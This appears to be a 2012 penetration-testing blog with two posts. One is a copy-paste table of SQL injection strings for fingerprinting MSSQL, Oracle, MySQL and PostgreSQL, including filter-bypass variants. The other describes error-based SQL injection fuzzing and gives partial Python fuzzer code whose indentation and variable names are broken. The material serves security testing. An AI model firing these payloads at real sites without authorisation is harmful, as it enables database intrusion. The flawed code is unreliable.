10/03/2012

Database Finger Printing


SQL Fuzzing

This article is created to introduce an SQL query injection reference, meanning strings that can be used without any modification (a simple copy paste) in web application SQL fuzzers to perform balck box SQL fuzzing (no assumption made about back end database). In the following table M means MSSQL, O means Oracle, P means Postgre and My means MySQL.

SQL Injection Strings For Fingerprinting
'SELECT @@version --MNote: This injection query works with any instance of SQL Server 2000 or of a later version.
' UNION SELECT @@version,NULL,NULL--MNote: This injection query can be used to identify amount of table columns, data types and database version.
'SELECT SERVERPROPERTY('productversion'), SERVERPROPERTY ('productlevel'), SERVERPROPERTY ('edition') --MNote: This query works with any instance of SQL Server 2000 or of a later version.
The following results are returned:
  • The product version (for example, 10.0.1600.22)
  • The product level (for example, RTM)
  • The edition (for example, Enterprise)
'1 in (SELECT @@version) --MNote: This query works with by trying to generate encapsulated casting errors.
'1 in (CHAR(83) + CHAR(69) + CHAR(76) + CHAR(69) + CHAR(67) + CHAR(84) + CHAR(32) + CHAR(64) + CHAR(64) + CHAR(118) + CHAR(101) + CHAR(114) + CHAR(115) + CHAR(105) + CHAR(111) + CHAR(110)) --MNote: This query is using obfuscation technices to by pass SQL filters and is not going to work in most cases.
'SELECT/*Place what ever you want*/ @@version --MNote:This is good for by passing filters in bad SQL filters.
' 1 in (SELECT/*Place what ever you want*/ @@version) --MNote: Again this is good for by passing filters in bad SQL filters.
' or @@PACK_RECEIVED-@@PACK_RECEIVED --MNote:The @@PACK_RECEIVED databse system variable is used to display a report containing several SQL Server statistics, including packets sent and received. Used in the injection point with numerical values.
Injectable'+'Variable --MNote:Usage of string concatenation used by MSSQL database
'SELECT version FROM v$instance;ONote:You can capture the edition, version and release (32 bit or 64-bit)
'SELECT banner FROM v$version WHERE banner LIKE ‘TNS%’;ONote:You can capture the edition, version and release in both 32 bit or 64-bit versions
'SELECT banner FROM v$version WHERE banner LIKE ‘Oracle%’;ONote:You can capture the edition, version and release in both 32 bit or 64-bit versions.SELECT statements must have a FROM clause in Oracle
'Injection'||'variable' --ONote:Usage of string concatenation used by Oracle database. When injecting the vulnerable variable the web application should behave normaly.
SELECT banner FROM v$version WHERE banner LIKE "Oracle Database%";ONote:You can capture the edition, version and release in both 32 bit or 64-bit versions.SELECT statements must have a FROM clause in Oracle. 
SELECT @@version #MyNote: Again a version injection query
'Injection' 'variable' #MyNote: Again a verion injection query (notice the space of the string).
'SELECT /*!32302 12*/ #MyNote: This injection string is used for string values (char variables) and should return the number 12. You will get the same response if MySQL version is higher than 3.23.02 .
or /*!32302 12*/ = /*!32302 12*/MyNote: This injection string is used for numerical values and is equal to or 1=1 in MSSQL. You will get the same response if MySQL version is higher than 3.23.02 .
' or /*!32302 12*/ = /*!32302 12*/ #MyNote: This injection string is used for numerical values and is equal to or ' or 1=1 -- in MSSQL. You will get the same response if MySQL version is higher than 3.23.02 .
SELECT /*What ever you want to inject*/@@version#MyNote:Again used to by passing SQL data filters.
CONNECTION_ID()-CONNECTION_ID()#MyNote:Again for versioning database in numerical injections.
' SELECT /*!32302 1/0, */ 1/1 FROM existingtablename # MyNote:Will throw an divison by 0 error if MySQL version is higher than 3.23.02.
' SELECT /*!32302 1/1, */ 1/0 FROM existingtablename #MyNote:Will throw an divison by 0 error if MySQL version is lower than 3.23.02.
SELECT version()-PNote:Check the comment character.

09/03/2012

The SQL Fuzzing Injection Approach

Prologue


This is not another boring SQL injection cheat sheet, since already a lot of this cheat sheets already exist in the Internet (e.g. pentestmonkey e.t.c). This article is about categorizing and formalizing the procedure of SQL injection fuzzing step by step. So SQL Injection issues should be categorized in three different types:

1. Error Based SQL injections (no input validation or output database error filtering).

2. Semi Error Based SQL injections (minor or no input validation but some output database error filtering).

3. Blind SQL injections (strict both input and output filtering).

The first category is probably the most obvious since it is the most easy to identify, plus what ever you inject (even a single quote) is going to return back a database SQL error. The second type of SQL injection is the semi blind SQL injection where the developers either don't filter the input properly (but do filter) or they don't filter at all BUT do filter some of the database SQL errors returned back, thinking that is very hard to exploit the SQL injection if they do that. The third part type is the Blind SQL injection, where some filtering in the input validation may occur but all database SQL errors are filtered. This article is going to analyze the first type of SQL injection type.



Identifying Error Based SQL Injections by fuzzing



In this article we are going to refer to all possible characters used to identify an Error Based SQL injection. The following characters can be used to identify an SQL injection:

First Character'
Second Character;
Third Character-
Forth Character#
Fifth Character)
Sixth Character*
Seventh CharacterSpace Character


Now with this amount of characters we can have 2 in the power of 6 combinations, meaning we have 64 combinations, of course not all character combinations are going to be a meaningful character sequences to the SQL databases, but most of them are going to be, plus with that approach the concept of BLACK box testing is applied better (e.g. you assume nothing about the input filtering or the database back end). Writing a program that takes as an input this 6 characters and produces all combinations is would be very useful, A payload SQL injection generator is like the ammunition for the SQL fuzzer. Basically my concept about

A sample list of all character sequences that will be produced and have meaning to a database would be:

Interesting character sequence list'); -- ,  ; --  ,  ' --  ,  /**/ ,   ; #   ,  ); --     ...  e.t.c

A more interesting fuzzing approach would be to increase you payload list by either increasing the fuzzing list using a bigger payload list such as fuzzdb or by using your own payload list generated by your payload generator. The critical issue here is to optimize your payload list, either for identifying or of exploiting SQL injections and then use the proper tool to analyze the results. Analyzing the results is also critical, the best way to do something like that would be to use a fuzzer such as Burp Intruder or JBroFuzz. Now when analyzing the results you should most of the time focus on the Http Error returned and the response size. Successfully exploiting the an SQL injection would increase or reduce significantly the size for the response, depending always on the situation.

JBroFuzz and Burp Intruder have a very good user interface that gives you a quick Http Error Code status and response size view. The following picture shows a screen shot from JBroFuzz.



Exploiting Error Based SQL Injections



The fuzzing approach can be used for successfully exploiting Error Based SQL injections (but also Semi Error SQL injections, but this is out of scope of this article) with very good efficiency. The only thing someone should do to increase the efficiency would be to optimize the payload list for exploiting a particular database e.g. MSSQL, Oracle e.t.c and besides checking the Http Satus Codes and the response size to also do some grep-ing the results using another list (for the purposes of this article I am going to refer to the list as a result list). The result list should be processed by tools such as the Burp Grep Utility or costume utilities you might decide to create in order to identify proper errors (e.g. you should have an SQL error list e.t.c).      


Writing a fuzzer is easy


Someone might want to use her/his own fuzzer, and this article is a good place to start.

First part would be to put the author version (I now I am making too formal) and copyright restrictions:   



#!/usr/bin/env python
__version__ = "1.0"
__author__ = "Gerasimos Kassaras"
__copyright__ = "None"


 Second part would be to import the proper libraries:


# -*- coding: iso-8859-15 -*-
import httplib
import os
import sys
import time
import time
import re
import string


Third part would be to wright the load list function (in order to load the payload list) which is omitted (it is too simple) and forth part would be to write the fuzz loop:


def fetchHtml(hostToFuzz,variableToFuzz,payload):

# Make use of httplib

  httpHeader = httplib.HTTP(hostToFuzz)
  httpHeader.putrequest('GET',variableToFuzz+payload)

# Form the Http header
  httpHeader.putheader('Host',hostToFuzz)
  httpHeader.putheader('User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; el; rv:1.9.0.4)   Gecko/2008102920 Firefox/3.0.4')
  httpHeader.putheader('Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8')
  httpHeader.putheader('Accept-Language: el-gr,el;q=0.7,en-us.;q=0.3')
  httpHeader.putheader('Accept-Encoding: gzip,deflate')
  httpHeader.putheader('Accept-Charset: ISO-8859-7,utf-8;q=0.7,*;q=0.7')
  httpHeader.endheaders()

# Handling Http return codes…

  returncode = httpHeader.getreply()

# Process http reply data!

  fileObject = httpHeader.getfile()
  rawHtml = fileObject.readlines() # Get raw HTML

# Return rawHtml

return rawHtml


The fifth part would be to write a piece of code to process the result list. In python we can do that by using regular expressions. Now the important part is that the regular expression should be used like the grep functionality Burp Intruder is using to extract the important parts of the result list. The result list can be populated by books such as Web Application Hackers Hand Book e.t.c.   


def fetchInfectedHtml(rawHtml,payloadList):

infectedHtml = []

for counter in range(len(SQLErrorList)):

# Compile regular expression with the payload
  regularExpression = re.compile( SQLErrorList[counter])

# Inner loop for searching fetched html
  for counter1 in range(len(rawHtml)):
   
    if regularExpression.search(rawHtml[counter1]):# Search for all errors in SQL Error List per reply
     
      infectedHtml.append(rawHtml[counter1])

return infectedHtml